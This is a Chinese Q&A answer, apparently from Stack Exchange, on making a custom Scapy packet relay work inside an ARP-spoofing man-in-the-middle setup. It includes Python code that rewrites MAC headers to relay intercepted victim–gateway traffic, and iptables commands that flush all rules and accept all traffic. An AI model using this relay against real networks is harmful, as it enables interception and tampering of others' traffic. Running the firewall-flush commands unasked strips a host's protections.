基于Scapy实现ARP欺骗时自定义IP转发及数据包修改问题
解决自定义IP转发在ARP欺骗场景下的数据包接收问题
听起来你已经搞定了ARP欺骗的基础部分,靠系统的ip_forward能正常让流量转发,但自己手动实现转发时遇到了数据包“本地可见但远端收不到”的坑——这个问题我之前做类似实验时也碰到过,大概率是数据包的二层头部、校验和或者发送方式没处理对,下面给你拆解几个关键排查点和修复步骤:
1. 确保以太网帧头部正确修改
当你转发修改后的IP数据包时,必须重新设置以太网层的源和目的MAC:
- 源MAC:必须是你攻击者主机的网卡MAC(可以用
get_if_hwaddr(iface)获取) - 目的MAC:如果是转发给目标主机,就从你收集的ARP表里找对应主机IP的MAC;如果是转发给网关(
gIP),就找网关的MAC
举个Scapy的示例代码片段:
from scapy.all import * # 假设你的ARP表是一个字典,格式为 {IP: MAC} arp_table = {"192.168.1.1": "aa:bb:cc:dd:ee:ff", "192.168.1.100": "ff:ee:dd:cc:bb:aa"} gIP = "192.168.1.1" attacker_mac = get_if_hwaddr("eth0") # 替换成你的攻击网卡 def forward_packet(pkt): if IP in pkt: # 判断数据包流向:目标主机→网关 或 网关→目标主机 if pkt[IP].src in arp_table and pkt[IP].dst == gIP: # 转发到网关:目的MAC用网关的MAC new_eth = Ether(src=attacker_mac, dst=arp_table[gIP]) elif pkt[IP].src == gIP and pkt[IP].dst in arp_table: # 转发到目标主机:目的MAC用对应主机的MAC new_eth = Ether(src=attacker_mac, dst=arp_table[pkt[IP].dst]) else: return # 不是我们要处理的流量,直接跳过 # 构造新数据包:以太网层 + 修改后的IP层 new_pkt = new_eth / pkt[IP] # 必须用sendp()发送二层帧,指定攻击网卡 sendp(new_pkt, iface="eth0", verbose=0)
2. 重新计算IP头部校验和
当你修改了IP数据包的内容(比如TTL、数据段等),Scapy不会自动重新计算IP校验和,这会导致远端主机/网关直接丢弃数据包。解决方法很简单:
# 修改IP数据包后,清空原有校验和,让Scapy自动重新计算 pkt[IP].chksum = None
3. 检查发送方式与网卡接口
- 务必用
sendp()而非send():send()是基于三层IP发送,依赖系统路由;我们需要直接发送二层以太网帧,所以必须用sendp()并指定正确的攻击网卡。 - 确认网卡参数正确:比如你的攻击网卡是
wlan0就不要写成eth0,网卡不对数据包根本发不到目标网络里。
4. 排查系统防火墙/iptables干扰
即使你自己实现转发,系统的iptables规则可能会拦截自定义转发的数据包。可以临时关闭iptables测试:
sudo iptables -F sudo iptables -X sudo iptables -P INPUT ACCEPT sudo iptables -P OUTPUT ACCEPT sudo iptables -P FORWARD ACCEPT
如果关闭后能正常转发,说明你需要添加对应规则允许转发流量通过。
5. 确认路由表与数据包流向
有时候系统路由表会把转发数据包导去错误的网卡,你可以用ip route查看路由表,确保目标网段的路由指向攻击网卡。或者在Scapy发送时通过iface参数强制指定网卡,避免路由干扰。
最后,你可以用tcpdump在攻击者主机、目标主机和网关分别抓包,对比发送的数据包和实际收到的数据包(如果有的话),就能快速定位是MAC地址错误、校验和无效还是其他层的问题——这些都是远端丢弃数据包的常见原因。
内容的提问来源于stack exchange,提问作者user6142029
相关产品推荐
相关产品推荐

